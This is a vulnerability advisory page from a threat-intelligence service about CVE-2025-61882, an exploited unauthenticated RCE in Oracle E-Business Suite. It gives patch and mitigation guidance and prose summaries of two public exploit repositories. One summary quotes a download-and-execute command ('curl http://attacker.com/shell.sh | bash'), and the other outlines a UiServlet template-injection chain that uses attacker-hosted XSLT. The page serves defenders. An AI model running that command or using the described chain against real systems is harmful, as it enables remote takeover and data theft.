Skip to main content
Mallory
CriticalCISA KEVExploited in the wildPublic exploit

Unauthenticated RCE in Oracle E-Business Suite Concurrent Processing BI Publisher Integration

IdentifiersCVE-2025-61882CWE-306

CVE-2025-61882 is a critical vulnerability in Oracle E-Business Suite Oracle Concurrent Processing, specifically the BI Publisher Integration component, affecting supported versions 12.2.3 through 12.2.14. Oracle describes it as an easily exploitable flaw that allows an unauthenticated attacker with network access via HTTP to compromise Oracle Concurrent Processing. Supporting reporting consistently characterizes the issue as unauthenticated remote code execution. Public reporting and vendor-linked research indicate exploitation involved Oracle EBS web-exposed servlet functionality, with observed exploit chains targeting components such as UiServlet and SyncServlet and abusing BI Publisher/XDO template functionality to achieve code execution, although the exact vulnerable function or full root cause mapping for CVE-2025-61882 is not fully clear from the provided material. The vulnerability was exploited in the wild as a zero-day in 2025, including in mass extortion and data-theft operations attributed by multiple sources to Cl0p/FIN11-related activity.

Share:
For your environment

Are you exposed to this one?

Mallory correlates every CVE against your assets, your vendors, and active adversary campaigns. Know which vulnerabilities matter for you, not just which ones are loud.

ANALYST BRIEF

Impact, mitigation & remediation

What it means. What to do now. Patch path, mitigations, and the assume-compromise checklist.

Impact

What an attacker gets, and what they’ve been doing with it.

Successful exploitation can result in complete takeover of the Oracle Concurrent Processing component and effectively full compromise of the affected Oracle E-Business Suite instance. Oracle assigns CVSS 3.1 9.8 with high confidentiality, integrity, and availability impact. Reporting indicates attackers used the flaw for remote code execution, data theft, extortion, and broader system compromise, including exfiltration of sensitive enterprise data such as financial and HR records. Because exploitation is unauthenticated and network-based, exposed internet-facing systems are at high risk of rapid compromise.

Mitigation

If you can’t patch tonight, do this now.

If immediate patching is not possible, reduce exposure of Oracle E-Business Suite HTTP endpoints to untrusted networks, especially internet-facing servlet and BI Publisher-related functionality. Restrict access through VPN, reverse proxy allowlisting, segmentation, and WAF controls where feasible; closely monitor Oracle EBS web logs for suspicious requests to paths such as /OA_HTML/configurator/UiServlet and /OA_HTML/SyncServlet; inspect for abuse of XDO/BI Publisher template management and preview features; and hunt for indicators of compromise associated with known exploitation and post-exploitation activity. Given confirmed in-the-wild exploitation and public exploit availability, mitigation should be treated only as temporary risk reduction until vendor patches are applied.

Remediation

Patch, then assume compromise.

Apply Oracle's October 4, 2025 Security Alert patch for CVE-2025-61882 on affected Oracle E-Business Suite 12.2.3-12.2.14 deployments. Follow Oracle's patching guidance, including required prerequisite updates noted by Oracle advisories. Content indicates Oracle EBS servers updated through the October 11, 2025 patch level were likely no longer vulnerable to known exploitation chains. Organizations should also validate that earlier July 2025 CPU fixes and any related follow-on security updates are installed where required, then perform compromise assessment and incident response review because this vulnerability was exploited as a zero-day prior to patch availability.
PUBLIC EXPLOITS

Exploits

2 valid exploits after Mallory filtered fakes, detection scripts, and README-only repos (9 hidden).

VALID 2 / 11 TOTALView more in app
CVE-2025-61882-Oracle-BI-Publisher-RCEMaturityPoCVerified exploit

Repository contains a small proof-of-concept for unauthenticated remote code execution against Oracle BI Publisher (versions listed in README: 12.2.1.4.0, 12.2.1.3.0) via insecure Java deserialization in an integration component. Structure: - README.md: Describes the affected product/versions and states the issue is RCE via insecure deserialization. - exploit.java: Demonstrates crafting and sending a Java serialized object over a raw TCP socket to host "oracle-server" on port 9704. It hardcodes a command payload ("curl http://attacker.com/shell.sh | bash") and references generating a CommonsBeanutils1 gadget chain via ysoserial, but the actual gadget generation is a placeholder (generatePayload returns null) and the code as written is incomplete (e.g., missing ByteArrayOutputStream import). - exploit.sh: Alternative delivery simulation using curl to POST a serialized payload file (payload.ser) to http://192.168.1.100:9704/xmlpserver with Content-Type: application/java-serialized-object. Capabilities: - Intended capability is network-based delivery of a malicious Java serialized object to trigger deserialization and execute an arbitrary OS command on the target. - Includes a staged command that retrieves and executes a remote script, implying post-exploitation such as a reverse shell. Notable limitations: - Java exploit is not fully functional without implementing gadget generation (ysoserial integration) and fixing missing imports; thus it is best categorized as a POC rather than an operational exploit.

George0PapasotiriouDisclosed Feb 10, 2026javabashnetwork
CVE-2025-61882MaturityPoCVerified exploit

This repository provides a working exploit and scanner for CVE-2025-61882, a critical unauthenticated remote code execution vulnerability in Oracle E-Business Suite (EBS) BI Publisher/template processing (12.2.x series). The exploit leverages a server-side template injection via the '/OA_HTML/configurator/UiServlet' endpoint, allowing an attacker to execute arbitrary system commands on the EBS server without authentication. The repository contains three main Python scripts: - 'scan.py': A non-destructive scanner to probe for the presence of vulnerable endpoints on a target EBS instance. - 'exploit.py': The main exploit script, which interacts with the target, obtains necessary CSRF tokens, and triggers the vulnerability by referencing a malicious XSLT payload hosted on an attacker-controlled server. - 'server.py': A simple HTTP server that serves the malicious XSLT payload. The payload is dynamically generated to execute arbitrary commands (e.g., reverse shell, calc.exe) on the target, using Java reflection and scripting features available in the Oracle EBS Java backend. The exploit is operational and customizable, requiring the attacker to specify the target URL and the address of the attacker's payload server. The attack is performed over HTTP(S) and does not require authentication or user interaction. The README provides detailed usage instructions, legal disclaimers, and defensive recommendations. The code is cleanly separated into scanning, exploitation, and payload hosting components, making it straightforward to use in a test or lab environment. Key fingerprintable endpoints include '/OA_HTML/configurator/UiServlet', '/OA_HTML/runforms.jsp', and '/OA_HTML/JavaScriptServlet' on the target, as well as '/OA_HTML/help/../ieshostedsurvey.xsl' and '/OA_HTML/help/../ibeCRgpIndividualUser.jsp' on the attacker's server.

GhoStZA-debugDisclosed Oct 27, 2025pythonnetwork
EXPOSURE SURFACE

Affected products & vendors

Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.

VendorProductType
OracleConcurrent Processingapplication

Vendor-confirmed product mapping. Mallory continuously reconciles this list against your asset inventory.

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets are affected, which adversaries are exploiting it right now, which detections to deploy, and what to do tonight.
Exposure mapping

Query your assets running an affected version, and investigate the blast radius.

Threat actor evidence49

Every observed campaign linking this CVE to a named adversary.

Associated malware40

Malware families riding this exploit, with evidence and IOCs.

Detection signatures3

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

Vendor-by-vendor mapping

Cross-references every affected SKU, including bundled OEM variants.

Social activity127

Community discussion across Reddit, Mastodon, and other social sources.